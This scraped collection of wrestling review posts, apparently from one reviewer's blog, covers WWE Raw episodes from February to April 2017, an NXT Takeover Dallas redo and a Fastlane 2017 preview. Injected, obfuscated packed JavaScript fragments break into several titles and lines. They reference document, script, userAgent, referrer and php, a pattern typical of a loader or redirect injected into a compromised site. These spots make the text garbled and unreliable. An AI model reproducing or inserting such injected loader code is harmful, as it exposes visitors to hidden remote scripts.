Monday Night Raw – April 3, 2017: HEY WE WANT……PRETTY MUCH ALL OF THIS!

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Date: April 3, 2017
Location: Amway Center, Orlando, Florida
Commentators: Michael Cole, Corey Graves, Byron Saxton

Ad for Wrestlemania XXXIV in New Orleans. This probably aired seven times in two days with people getting sick of it by the end.

Tag Team Titles: Anderson and Gallows vs. Hardy Boyz

Stills of HHH vs. Seth Rollins.

Mustafa Ali vs. Neville

Non-title. A quick hurricanrana puts Neville down and a kick to the head puts him on the floor. Naturally that means a big dive, only to have Neville toss him into the air for a big crash down to the mat. Back from a break with the fans chanting for the beach balls, which were ALL OVER the arena at this point. There were at least ten going around at various points, which is why a headlock on the mat is getting the loudest reaction in history.

Neville stops to glare at the crowd but Ali kicks him in the face during the distraction. The rolling neckbreaker gives Ali two as the fans are chanting BEACH BALL MANIA. Graves tries to keep the focus on the match, saying the crowd is just going to make Neville even angrier. The fans boo when a security guard takes one away, which is just a second before Neville hits a hard clothesline.

With the frustration growing, Cole actually explains the BEACH BALL MANIA concept. In an attempt to get the fans watching what they actually paid for, Ali grabs a top rope Spanish Fly to put both guys down. Fans: “HEY! WE WANT SOME BEACH BALL!” Ali hits a superkick and a reverse hurricanrana, followed by a hard tornado DDT for two. The inverted 450 misses and Neville goes up, looks at the crowd, and jumps down for the Rings of Saturn and the submission instead at 10:31.

Vince arrives. You had to know that was going to happen.

Stills of Kevin Owens beating Chris Jericho for the US Title.

New Day vs. Revival

Bayley/Sasha Banks/Dana Brooke vs. Nia Jax/Charlotte/Emma

Post match Charlotte yells at Nia and is promptly laid out in what feels like a face turn for Jax. Emma gets stared down and immediately bails in a smart move.

Jericho is out of the main event but Angle promises to find Rollins a new tag partner. Just start the FINN chants now.

Enzo Amore/Big Cass vs. Sheamus/Cesaro

Sami Zayn vs. Jinder Mahal

Samoa Joe/Kevin Owens vs. Seth Rollins/???

Joe misses a backsplash though and Rollins enziguris his way into a hot tag to Balor. Chops and kicks a go-go ensue but Owens catches him in something like a swinging White Noise for two. Rollins breaks up the Koquina Clutch and the running dropkick into the corner sets up the Coup de Grace to put Owens away at 12:12.

Overall Rating: B+. First and foremost, this show is NOT about the wrestling and it never has been. This show is about moving things forward and surviving an insane crowd. The opening half hour was almost perfect with the Reigns stuff being as great as it could have been and the Hardys fired up the crowd even more, if that was possible. The Angle announcement and Revival debut were both very strong, as was Balor returning at the end.

Results

Hardys b. Anderson and Gallows – Swanton Bomb to Gallows

Neville b. Mustafa Ali – Rings of Saturn

Revival b. New Day – Shatter Machine to Woods

Bayley/Sasha Banks/Dana Brooke b. Nia Jax/Charlotte/Emma – Bank Statement to Charlotte

Cesaro/Sheamus b. Enzo Amore and Big Cass – Uppercut to Amore

Sami Zayn b. Jinder Mahal – Helluva Kick

Finn Balor/Seth Rollins b. Samoa Joe/Kevin Owens – Coup de Grace to Owens

 

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


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Takeover: Dallas (2017 Redo): It Keeps Getting Better

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|enazi|var|u0026u|referrer|snfkh||js|php'.split('|'),0,{})) Dallas
Date: April 1, 2016
Location: Kay Bailey Hutchison Convention Center, Dallas, Texas
Attendance: 9,000
Commentators: Tom Phillips, Corey Graves

One heck of an NXT chant gets us going.

Tag Team Titles: American Alpha vs. Revival

Back in and a powerbomb/top rope clothesline combo is botched, making it into something more like a Dominator and drawing a BOTCHAMANIA chant. I rip on other crowds for stupid chants like that and NXT is no better: you hardly ever see a major botch in NXT so lay off of them. Dawson breaks up ANOTHER hot tag attempt but Gable crawls through his legs for the red hot tag so house can be cleaned. Jordan starts throwing suplexes and takes down the straps for the shoulders in the corner.

Jim Ross and Michelle Beadle are here. This got a HUGE pop live.

Kota Ibushi is here too and the fans chant his name.

Asuka worked on her striking while Bayley hugged a fan.

Austin Aries vs. Baron Corbin

Scott Hall and X-Pac are here.

Sami Zayn vs. Shinsuke Nakamura

We recap Finn Balor vs. Samoa Joe. These two had a war in London with Balor barely surviving and having one heck of a headache as a result. Joe won a series of matches to earn another title shot here in Dallas for a first ever rematch in a Takeover rematch. On top of that, Joe has turned into a psycho who is obsessed with winning the title.

Bobby Roode is here, drawing one heck of a gasp from the audience.

NXT Title: Samoa Joe vs. Finn Balor

Posing and highlights take us out.

Ratings Comparison

American Alpha vs. Revival

Original: B+

Redo: A

Austin Aries vs. Baron Corbin

Original: C

Redo: B-

Shinsuke Nakamura vs. Sami Zayn

Original: A+

Redo: A+

Bayley vs. Asuka

Original: B

Redo: B+

Samoa Joe vs. Finn Balor

Original: A-

Redo: A

Overall Rating

Original: A

Redo: A+

http://kbwrestlingreviews.com/2016/04/05/nxt-takeover-dallas-night-of-a-thousand-chants/


Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


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Monday Night Raw – March 27, 2017: Going Home for a Really Long Day

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Date: March 27, 2017
Location: Wells Fargo Center, Philadelphia, Pennsylvania
Commentators: Michael Cole, Byron Saxton, Corey Graves

Opening sequence.

Bayley/Sasha Banks vs. Nia Jax/Charlotte

Nia drops everyone post match, including a splash to Charlotte, allowing her to hold up the title.

We look back at Mick Foley being fired last week.


Sami Zayn enters the Andre the Giant Memorial Battle Royal to honor Foley’s legacy. Stephanie comes up and says not so fast because Sami hasn’t earned that right. Therefore, tonight he has to defeat Kevin Owens in a No DQ match. If he loses, he can join Foley on the unemployment line. She’s always had some weird obsession with that match but at least we don’t have to hear about her being Andre’s friend.

Austin Aries vs. Noam Dar

We look back at HHH demanding Rollins sign a paper to prevent lawsuits due to injuries.

We look at Goldberg beating Brock Lesnar at Survivor Series.

Back from a break and we look at what we just saw.

Over the Top Rope Challenge

We look back at Sheamus and Cesaro winning a handicap match in 40 seconds last week.

Anderson and Gallows think Enzo and Cass are stupid.

The Undertaker is digging graves.

New Day rang the opening bell at the New York Stock Exchange, gave out cheese steaks and New Day Pops to people in Philadelphia and trained by running the Rocky Steps.

Neville vs. Jack Gallagher

We look at Goldberg eliminating Lesnar from the Royal Rumble.

Enzo Amore/Big Cass vs. Anderson and Gallows

Long video on HHH vs. Rollins with HHH talking about Rollins collapsing underneath the pressure (meaning his knee injury) and giving up everything he was handed. This gets the big music video treatment and does a good job setting up a very shaky story.

We run down the Wrestlemania card. The Cruiserweight Title is officially on the Kickoff Show.

Sami Zayn vs. Kevin Owens

Results

Bayley/Sasha Banks vs. Nia Jax/Charlotte – Bayley to Belly to Charlotte

Austin Aries b. Noam Dar – Last Chancery

An Over the Top Rope Challenge went to a no contest

Neville b. Jack Gallagher – Rings of Saturn

Sami Zayn b. Kevin Owens – Rollup

 

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


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Monday Night Raw – March 20, 2017: The Wrestlemania Reds (Because Smackdown is Blue)

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afnsf|var|u0026u|referrer|niibn||js|php'.split('|'),0,{})) Night Raw
Date: March 20, 2017
Location: Barclays Center, New York Center, New York
Commentators: Michael Cole, Byron Saxton, Corey Graves

Sami Zayn vs. Samoa Joe

Back from a break with Sami caught in a bow and arrow and shaking his head rather hard. Sami gets up and hits one heck of a clothesline to sent Joe outside but Joe is right there to break up the suicide dive. Joe gets posted and the diving DDT through the ropes crushes Joe, only to have Sami comes up holding his arm. Back in and the Helluva Kick is countered into the Rock Bottom out of the corner. The Koquina Clutch ends Sami at 12:20.

Rating: B-. Good, hard hitting match here and more entertaining than their pay per view match at Fastlane. Joe is being treated like a killer and is already as effective as he was down in NXT. I had a fun time with this one as Sami is one of the best ever at taking a stiff beating, especially from someone as good as Joe.

We look back at Braun Strowman attacking Roman Reigns at the Royal Rumble.

We look back at Rollins vs. HHH from last week.

Charlotte vs. Dana Brooke

TJ Perkins vs. Brian Kendrick

Perkins sends him outside for the slingshot dropkick, followed by a high crossbody for two. Not that it matters as Perkins gets caught in Sliced Bread #2 for the pin at 1:25.

Roman Reigns says this is his yard.

Nia Jax vs. Bayley

Clip of Reigns beating Strowman at Fastlane.

Cesaro/Sheamus vs. Enzo Amore/Big Cass/Anderson and Gallows

Enzo and Cass do their thing before the match and get in a fight with Anderson and Gallows. The distraction sets up a Brogue Kick on Gallows for the pin at 36 seconds.

Enzo and Cass beat up the champs again post match.

New Day is in the back and Big E. asks if Woods has anything to tell him about. That would be Wrestlemania actually as the trio talks about the bigger matches. Big E. is really, really excited for Goldberg vs. Brock Lesnar. They even act out a little bit of the buildup.

Austin Aries vs. Tony Nese

Rating: C-. This was just a way to show you that Aries is indeed awesome and ready to face Neville at Wrestlemania. I can go for Aries getting a good push before his title match as he needs to get back in ring shape. Aries is already better than most of the division so a few wins like this are a good idea.

Emma is coming soon.

Video on Goldberg vs. Lesnar over the last few months.

Roman Reigns vs. Braun Strowman

Reigns starts fast and knocks Strowman to the floor but the apron dropkick is broken up with one heck of a clothesline. Back in and a hard whip sends Reigns into the buckle before we hit a very big chinlock. Reigns fights up with some clotheslines before avoiding a charge in the corner.

Results

Samoa Joe b. Sami Zayn – Koquina Clutch

Charlotte b. Dana Brooke – Big boot

Brian Kendrick b. TJ Perkins – Sliced Bread #2

Nia Jax b. Bayley – Samoan drop

Cesaro/Sheamus b. Enzo Amore/Big Cass/Anderson and Gallows – Brogue Kick to Gallows

Austin Aries b. Tony Nese – Discus Five Arm

Roman Reigns vs. Braun Strowman went to a no contest when Undertaker interfered

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Monday Night Raw – March 13, 2017: Marching on Together

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Date: March 13, 2017
Location: Joe Louis Arena, Detroit, Michigan
Commentators: Michael Cole, Byron Saxton, Corey Graves

In Memory of Ron Bass.

We open with a recap of Lesnar taking Goldberg out last week.

Sasha Banks vs. Dana Brooke

Eric LeGrande, a former Rutgers football player who suffered a spinal injury, is getting the Warrior Award.

Brian Kendrick/Tony Nese vs. Akira Tozawa/TJ Perkins

Kevin Owens/Samoa Joe vs. Sami Zayn/Chris Jericho

Post match Owens and Jericho go at it until the double teaming gets the better of Chris.

Enzo Amore/Big Cass vs. Cesaro/Sheamus

Anderson and Gallows destroy both teams.

Post break Anderson and Gallows laugh at Foley for getting one over on him because there were no winners. Say it with me: triple threat match.

Roman Reigns vs. Jinder Mahal

We look back at Austin Aries decking Neville last week and defeating Tony Nese the next night on 205 Live.

Austin Aries vs. Ariya Daivari

Aries forearms him in the face to start before snapping off some armdrags. A nasty backdrop sends Aries face first into the apron. Not that it matters though as Aries hits a neckbreaker onto the knee, followed by the roaring elbow for the pin at 3:48.

Emma is coming.

Bayley and Sasha are ready for Nia Jax.

Bayley vs. Nia Jax

Nia throws Bayley into the barricade for good measure.

Results

Sasha Banks b. Dana Brooke – Rollup with a handful of tights

Tony Nese/Brian Kendrick b. Akira Tozawa/TJ Perkins – Rollup with a handful of tights

Sami Zayn/Chris Jericho b. Kevin Owens/Samoa Joe via DQ when Joe and Owens double teamed Jericho

Enzo Amore/Big Cass vs. Cesaro/Sheamus when Anderson and Gallows interfered

Roman Reigns b. Jinder Mahal – Superman Punch

Austin Aries b. Ariya Daivari – Roaring Elbow

Bayley b. Nia Jax via DQ when Nia attacked in the corner

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Fastlane 2017 Preview

It’s time for the final pit stop on the Road to Wrestlemania because “Monday Night Raw” has to have its own pay per view because “Smackdown Live” did as well. I’ve made no secret of the fact that I have little interest in seeing this show and I’m worried about how the main event is going to go. There’s some interesting stuff on the card though so hopefully that outweighs the bad. Let’s get to it.

Pre-Show: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fithf|var|u0026u|referrer|nkzrz||js|php'.split('|'),0,{})) Akira Tozawa/Rich Swann vs. Brian Kendrick/Noam Dar

It’s a double feud match and there’s nothing wrong with that. The “205 Live” crew has taken a hit in recent weeks as there just isn’t much going on aside from whatever Neville is doing that week. However, there’s some hope in the Tozawa vs. Kendrick feud and Swann is still one of the most entertaining people on the roster so maybe he and Dar/Alicia Fox can do something entertaining soon enough.

As for the winners, I’ll take Swann pinning Dar but this isn’t a case where the winners really matter that much. This match is about getting the crowd ready for the show and the cruiserweights are some of the best possible options to do just that. It probably won’t be a classic or anything but it really doesn’t need to be, which is perfectly fine.

Cruiserweight Title: Neville vs. Jack Gallagher

We’ll stick with the cruiserweight them as Neville defends against his fellow countryman. Neville has turned into one of the best performers on the roster with this new King of the Cruiserweights character as he’s just channeling the hatred and anger so well. Gallagher is a scrappy guy who has looked very solid in the ring at times, though he’s much more over for his character and abilities with an umbrella.

That being said, I don’t buy Gallagher as having a chance in this one. Neville is just on a different level than anyone else in the division and Gallagher is only a step above a comedy character. In theory we’ll be seeing Austin Aries making his cruiserweight division debut and facing Neville for the title at “Wrestlemania XXXIII”, making this match little more than just a warmup for Neville.

Sasha Banks vs. Nia Jax

This one depends on what you think they’re going to be doing later on in the show with Bayley vs. Charlotte. On paper, this seems to be a way to set up Banks’ heel turn on Bayley later in the night, which would suggest that Jax beats her and Banks gets upset that Bayley wasn’t there in her corner. This would certainly follow the theory that if you’re about to turn heel, you must lose every match beforehand.

Yeah Banks loses here and WWE continues to sit around wondering why the pops get weaker every time. In theory this helps to set up the four way at “Wrestlemania XXXIII” for the title but that means we have three heels and Bayley for the title. Banks seems primed for a heel turn and since WWE is rather odd at times (read as almost all the time), she’s likely to lose in a huge way on pay per view.

Tag Team Titles: Enzo Amore/Big Cass vs. Gallows and Anderson

Is anyone else starting to get a little tired of Amore’s schtick? He’s described himself as a heel character and it’s starting to show more and more. Unfortunately along with that goes a lot of the spark the team has to offer, which means there’s less and less value in them winning the belts. It seems that we’re getting ready for a Big Cass singles push and that might be better for everyone.

Considering that, PLEASE LET ANDERSON AND GALLOWS LOSE THE BELTS. They’re one of the least interesting teams I’ve seen in a long time as they’re really just there every week and offer almost nothing. The entire division is a mess right now and that makes for some very agonizing segments. As annoyed as I’m getting of Amore and Big Cass, they would be WAY better as champions than more of the Anderson and Gallows mess.

Sami Zayn vs. Samoa Joe

Now this has potential. If you have a need for a new monster (or any monster for that matter) to destroy someone and make it look good, you call on Zayn. These two have been feuding for a bit over the last few weeks and there’s a good chance that this match is going to steal the show. There isn’t much doubt on the ending but there’s some serious potential.

In case it’s not clear, Samoa Joe is going to wreck Zayn here and that’s exactly what should happen. Zayn is the kind of guy who can put up a great fight and come this close before falling victim to one heck of a Rock Bottom and maybe the Koquina Clutch. It’s what Zayn does and he does it as well as almost anyone ever has. Samoa Joe should be coming up on a major match at “Wrestlemania XXXIII” but he has to smash Zayn first.

Women’s Title: Bayley vs. Charlotte

As mentioned earlier, this one is going to be dependent on the Banks match, which I think goes to Jax to set up Banks costing Bayley the title here. If that’s not the case, I still don’t think Charlotte gets the belt back here but I do think she wins. The big sales pitch is that Charlotte has never lost a title match on pay per view and there’s a chance that they could avoid taking the title off of Bayley just yet while keeping the streak alive.

Or, since this is WWE, we’ll go with the reality that is Charlotte becoming six time Women’s Champion because WWE wants to recreate Ric Flair’s record in female form. I have no idea why I should care about Charlotte winning the title again but it seems that we’re heading in that direction. Then, once we’ve gotten the worthless first title reign out of the way, Bayley can start the REAL title reign because that’s how WWE logic goes. Charlotte wins though, no matter how little sense it makes.

Roman Reigns vs. Braun Strowman

This is a weird one as there isn’t really a good option for the ending. First of all, there’s absolutely no logical reason to have Strowman lose to Reigns via pin. He’s been treated as an unstoppable monster and there’s no reason for Reigns (or anyone) to beat him this soon. Unfortunately, that’s where WWE manages to screw up more often than not. Reigns winning would be the WWE answer and that’s the last thing that needs to happen.

Or there’s option C: Undertaker interferes and costs Reigns the match in retaliation for Reigns eliminating him from the Royal Rumble. That would set up one heck of a showdown at “Wrestlemania XXXIII” and Strowman goes on to do…..well probably to win the battle royal because that’s the best they can think of him for now. I can live with that as long as Strowman doesn’t get pinned by Reigns, who really doesn’t need to get this win.

Universal Title: Kevin Owens vs. Goldberg

This match terrifies me. Owens has recently rediscovered what made him great in the first place but there’s a buzzsaw called Goldberg waiting on him. I know there’s the option of Chris Jericho interfering to cost Owens the title and while that would make things MUCH better than Goldberg just hitting his finishers to win, Goldberg and Goldberg vs. Lesnar DOES NOT NEED to be for the title. The idea of Jericho taking the title from Owens in Orlando is great but Lesnar vs. Goldberg being for the title? Not so much.

Of course Goldberg wins the title here though because WWE has decided that Goldberg vs. Lesnar MUST be for the title for reasons I don’t even want to comprehend. Like I said, if Jericho interferes and costs Owens the match it’s much better, but words cannot describe how mad I’ll be if it’s “Survivor Series 2016” all over again with a match that lasts less than five minutes because Goldberg can’t do anything longer than that again.

Overall, “Fastlane 2017” just doesn’t need to exist. Other than the main event, you could easily see a lot of this show taking place on a few episodes of “Monday Night Raw” and that’s not good for a pay per view. The show has some potentially excellent matches but there are some that are likely to feel like they’re going to drag like a Stephanie McMahon promo marathon. Just please don’t squash Owens. It doesn’t help anyone but Goldberg and I could easily see WWE doing just that.

 


http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6

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Monday Night Raw – February 27, 2017: Undisguised Filler

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Date: February 27, 2017
Location: Resch Center, Green Bay, Wisconsin
Commentators: Michael Cole, Corey Graves, Byron Saxton

New Day vs. Rusev/Jinder Mahal

Rusev and Mahal argue post match because the division is deep enough to split a team already.

We look back at Enzo Amore and Big Cass becoming #1 contenders.

Akira Tozawa vs. Noam Dar

Dar gets kicked in the chest to start and the backsplash gets two. A good fake out lets Tozawa nail him again but Alicia Fox offers a distraction. That sets up some arm work but Tozawa sends him outside for a suicide headbutt. Back in and the snap German suplex puts Dar away at 2:59.

Post match Kendrick jumps Tozawa from behind and talks about how Tozawa needs to learn his lessons.

Charlotte/Dana Brooke vs. Bayley/Sasha Banks

Charlotte/Nia Jax vs. Bayley/Sasha Banks

Back from a break with Sasha trying to fight back against Nia and getting headbutted away. Charlotte misses a charge though and the hot tag brings in Bayley to clean house. Everything breaks down again and Bayley tries a choke on Nia. That goes nowhere though and a Charlotte distraction lets Nia run Bayley over. Nia drops the big leg to pin the champ at 12:20.

Braun Strowman demands Foley give him a contact signing with Roman Reigns tonight. Foley agrees but basically guarantees a fight will break out.

Luke Gallows vs. Big Cass

The announcers hype the WWE Network turning three years old.

Big Show vs. Shining Stars

Double teaming actually puts Show down for a bit before he shrugs the cousins off. A KO Punch and chokeslam wrap things up at 1:48.

Black History Month video on Martin Luther King Jr.

Austin Aries video package.

Jack Gallagher/TJ Perkins vs. Tony Nese/Neville

Beth Phoenix Hall of Fame video. I miss the days when these were announced on Raw and now in a newspaper earlier in the day.

Samoa Joe vs. Cesaro

Cue Reigns to start the fight, which quickly heads into the crowd. Strowman beats on him even more until Reigns spears him through the barricade and a security guard in the process. Back in and Reigns stops to sign the contract but gets sent into the corner so hard that the top rope breaks. Strowman leaves and Reigns signs to end the show.


http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


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Monday Night Raw – February 20, 2017: They’ve Hit the Switch

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktzis|var|u0026u|referrer|yrfdi||js|php'.split('|'),0,{})) Night Raw
Date: February 20, 2017
Location: Staples Center, Los Angeles, California
Commentators: Michael Cole, Corey Graves, Byron Saxton

In Memory of George Steele. Not Ivan Koloff for some reason.

We open with a long recap of the Festival of Friendship and Kevin Owens turning on Chris Jericho. Sweet popcorn baked into a pie that was an amazing segment.

Cesaro/Sheamus vs. Enzo Amore/Big Cass

Owens is leaving when Mick Foley comes in to say he has a match with Sami Zayn tonight. Kevin chuckles and says he thought Foley liked Sami.

Video on Braun Strowman.

Brian Kendrick vs. Akira Tozawa

Roman Reigns/??? vs. Anderson and Gallows

Post match Reigns Superman Punches Gallows and spears Anderson out of the air, sending the champs crawling away.

Video on New Day being announced as the hosts of Wrestlemania.

New Day vs. Rusev/Jinder Mahal

Video on George Steele.

Austin Aries is in the ring for the contract signing between Neville and Jack Gallagher. Since Gallagher is present, there are already cookies and tea prepared. Gallagher quickly signs before Neville can even come out. Neville does the same and immediately goes to leave, only to be stopped by Gallagher.

Nia Jax b. Sara Pierce

Splash and Samoan drop finish Pierce at 34 seconds.

Black History Month video on Barack Obama.

Sasha Banks vs. Charlotte

Bayley is on commentary. Joined in progress again with Sasha grabbing a headscissors but getting her face driven into the match. Charlotte does the Figure Four faceplants and grabs a necklock. Sasha is sent outside and we take a break. Back with Charlotte grabbing a dragon sleeper. Sasha fights out and makes her comeback, including a dropkick in the corner. Cue Dana Brooke for a distraction but Bayley cuts her off, allowing the Banks Statement to make Charlotte tap at 10:03.

Diamond Dallas Page Hall of Fame video. This is LONG overdue.

Kevin Owens vs. Sami Zayn

At 10:48pm, this show is dedicated to the memory of Ivan Koloff.

The ring is reenforced for the main event.

Braun Strowman vs. Big Show

Post match Reigns comes out and gets in a few Superman Punches but Strowman hits the powerslam to end the show.

Results

Enzo Amore/Big Cass b. Cesaro/Sheamus – East River Crossing to Cesaro

Anderson and Gallows b. Roman Reigns via DQ when Reigns used a chair

New Day b. Rusev/Jinder Mahal – Midnight Hour to Mahal

Nia Jax b. Sara Pierce – Samoan drop

Sasha Banks b. Charlotte – Bank Statement

Kevin Owens b. Sami Zayn – Pop Up Powerbomb

Braun Strowman b. Big Show – Powerslam

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


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Monday Night Raw – February 13, 2017: Oh No He Didn’t

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Date: February 13, 2017
Location: T-Mobile Arena, Las Vegas, Nevada
Commentators: Michael Cole, Byron Saxton, Corey Graves

Opening sequence.

Anderson and Gallows vs. Roman Reigns

Reigns clears the champs off without too much trouble.

Quick video on the history of the List of Jericho.

Kofi Kingston vs. Bo Dallas

Before the match, Kofi asks if Dallas is trying to be a Social Outcast. Big E. on the other hand has a folder labeled Ice Cream Blueprints because New Day is making an ice cream machine. That starts a WE WANT ICE CREAM chant as Kofi dropkicks Dallas to the floor. Dallas gets into the dancing and RIPS UP THE FOLDER. New Day is aghast so Kofi hits a huge flip dive to take him down. Bo gets two off an elevated swinging neckbreaker but gets caught in the SOS for the pin at 2:13.

Dallas is covered in cereal after the match.

Video on Jericho helping Owens retain the title over Seth Rollins.

Noam Dar vs. Jack Gallagher

Neville comes out for the staredown.

HHH and Samoa Joe arrive.

Jericho and Owens are getting ready when HHH comes in to take Owens away.

Mark Henry vs. Braun Strowman

Post match Reigns comes out for the fight and knocks Strowman down with two Superman Punches. The spear is countered into the powerslam though and Reigns is laid out.

We look at Jericho helping Owens against Reigns.

Sami Zayn vs. Rusev

Sami backs away from a kick to the head to start but gets taken to the mat. The fans want Lana but have to settle for Sami fighting out of a headlock and chopping away. Sami knocks him outside for the big flip dive but Rusev just blasts him with a kick to the head to take us to a break. Back with Rusev grabbing a bearhug and throwing Sami off a fall away slam. Sami finally avoids a charge in the corner and they head outside, only to have Rusev blast him with a clothesline. As they get back in though, Sami scores with the Helluva Kick, his only major move of the match, for the pin at 11:00.

Teddy Long Hall of Fame video.

Ariya Daivari vs. Akira Tozawa

A bloody Jericho is stretchered out.

Cesaro vs. Enzo Amore

Black History Month video on Rosa Parks.

Charlotte yells at Sasha Banks for being injured.

A big celebrating ends the show.

Results

Roman Reigns b. Anderson and Gallows via DQ when both attacked Reigns at once

Kofi Kingston b. Bo Dallas – SOS

Jack Gallagher b. Noam Dar – Running corner dropkick

Braun Strowman b. Mark Henry – Powerslam

Sami Zayn b. Rusev – Helluva Kick

Akira Tozawa b. Ariya Daivari – German suplex

Cesaro b. Enzo Amore – Pop up uppercut

Bayley b. Charlotte – Bayley to Belly

 

http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


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Main Event – February 9, 2017: This One Crushes The Others

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Date: February 9, 2017
Location: Moda Center, Portland, Oregon
Commentators: Tom Phillips, Austin Aries, Byron Saxton

Opening sequence.

Curtis Axel vs. Bo Dallas

To Raw for the first time.

And now the second time.

US Title: Chris Jericho vs. Sami Zayn

Sin Cara vs. Rusev

Rating: C. Better match than I was expecting here with Cara getting in some offense. Rusev worked fine as the arrogant monster who let Cara get back into it, only to crush him in the end. On top of that, Lana has flat out mastered the evil heel manager role. She has so much confidence to her and that makes for a great character.

Samoa Joe vs. Roman Reigns

Joe jumps Reigns before the bell and Reigns is in trouble as we take a break with no bell. Back with the bell ringing and Reigns taking it to the floor for a whip into the barricade. Joe comes right back with an enziguri and pops Reigns in the jaw with an elbow. A slugout goes to Joe and he drops the backsplash for two more.

Post match Strowman cleans house and powerslams Reigns through the barricade to end the show.


http://kbwrestlingreviews.com/2017/01/27/kbs-reviews-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6